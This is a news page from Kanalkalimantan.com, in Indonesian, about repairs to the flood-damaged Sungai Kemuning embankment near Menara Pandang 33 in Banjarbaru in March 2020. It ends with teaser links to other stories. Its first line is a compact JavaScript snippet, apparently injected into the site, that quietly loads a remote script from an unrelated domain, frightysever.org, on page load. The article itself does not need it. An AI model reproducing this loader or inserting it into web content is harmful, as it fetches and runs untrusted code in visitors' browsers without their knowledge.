(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Perbaikan siring Sungai Kemuning yang ambruk pada awal tahun kemarin, kini tinggal menunggu lanjutan pengerjaan dan rehabilitasi oleh Dinas Perumahan dan Permukiman (Disperkim) Kota Banjarbaru.
Sebelumnya, Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru telah menyelesaikan perbaikan pada bagian pondasi siring, pada 9 Maret 2020. Selanjutnya, Disperkim Banjarbaru bertugas untuk perbaikan pagar yang rusak serta paving blok di samping Menara Pandang 33, Banjarbaru.
Dari pantauan Kanalkalimantan.com, badan utama siring selesai sudah disemen. Hanya saja, bagian pagarnya masih ada bolong. Termasuk, paving blok di trotoar juga belum dipasang.
Ditemui Selasa (17/3/2020) siang, Kepala Disperkim Banjarbaru Muriyani mengonfirmasi bahwa pihaknya akan secepatnya mengerjakan bagian pagar dan bagian paving blok tersebut. Hal itu setelah pihaknya selesai membuat perencanaan.
“Kita kemarin juga sambil menunggu proses pekerjaan dari Bidang SDA PUPR Banjarbaru sudah rampung total. Kita tidak ingin mengganggu pengerjaan Dinas PUPR. Kalau sudah bersih dan tidak ada lagi aktivitas, kami langsung turun melakukan perbaikan. Estimasi bulan ini juga,” katanya.
Secara spesifikasi rehabilitasi, nantinya Disperkrim Banjarbaru akan memperbaiki pagar yang sudah ada. Karena dalam hal ini, kategori proyeknya sebutnya bukan pengadaan.
“Kita memperbaiki, bukan pengadaan yang baru. Pagarnya juga masih bisa diperbaiki, kecuali kerusakannya parah, baru diganti. Kalau paving blok kemungkinan kita rehabilitasi seluas 60 meter persegi,” bebernya.
Sejumlah titik Siring Sungai Kemuning mengalami kerusakan saat banjir pada Januari 2020. Lokasi yang parah berada tak jauh dari Menara Pandang 33, jalan A Yani, Kecamatan Banjarbaru Selatan, Banjarbaru. Sedangkan dua titik lainnya hanya mengalami kerusakan ringan saja.
Di titik tersebut, jalan pinggiran sungai sampai terputus karena batako jalan yang terlepas. Satu unit Penerangan Jalan Umum (PJU) juga hampir saja jatuh ke sungai. Di titik ini siring Sungai Kemuning ambrol mencapai 20 meter.
Dari hasil penelusuran Dinas PUPR Banjarbaru, ambruknya siring sungai ini lantaran adanya gorong-gorong buntu yang melintasi badan jalan , hingga air terus meluap. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki warga Kota Banjarbaru melakukan aktivitas penambangan galian C tanpa izin… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bandara Syamsudin Noor Banjarmasin akan kembali mempersiapkan kedatangan tamu jemaah Haul ke-20… Read More
KANALKALIMANTAN.COM, SAMARINDA - Aksi petugas Dinas Pemadam Kebakaran (Damkar) Kota Samarinda, Kalimantan Timur, saat memotong… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Salah satu tempat ibadah yang melaksanakan ibadah Misa Natal 2024, Gereja Katedral… Read More
KANALKALIMANTAN.COM, BANJARBARU - Liburan Natal dan Tahun Baru menjadi waktu yang tepat untuk rehat diri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
This website uses cookies.